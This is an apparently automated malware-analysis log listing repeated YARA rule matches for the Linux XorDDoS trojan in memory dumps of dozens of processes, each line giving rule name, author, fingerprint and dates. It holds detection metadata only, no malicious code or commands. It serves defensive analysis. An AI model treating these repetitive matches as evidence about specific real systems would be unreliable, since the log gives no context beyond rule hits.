Source: 6483.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6483.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6497.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6497.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6497.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6489.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6489.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6489.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6532.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6532.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6532.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6494.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6494.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6494.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6375.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6375.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6375.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6370.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6370.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6370.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6296.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6296.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6296.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6259.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6259.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6259.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6224.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6536.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6536.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6536.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6227.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6227.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6227.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6510.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6510.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6510.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6401.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6401.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6401.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6288.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6288.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6288.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6492.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6492.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6492.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6404.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6404.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6404.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6512.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6512.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6512.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6407.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6407.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6407.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6477.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6477.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6477.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6384.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6384.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6384.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6321.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6321.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6321.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6304.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6304.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6304.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6257.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6257.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6257.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6435.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6435.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6435.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6285.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6285.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6285.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6463.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6463.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6463.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6423.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6423.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6423.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6357.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
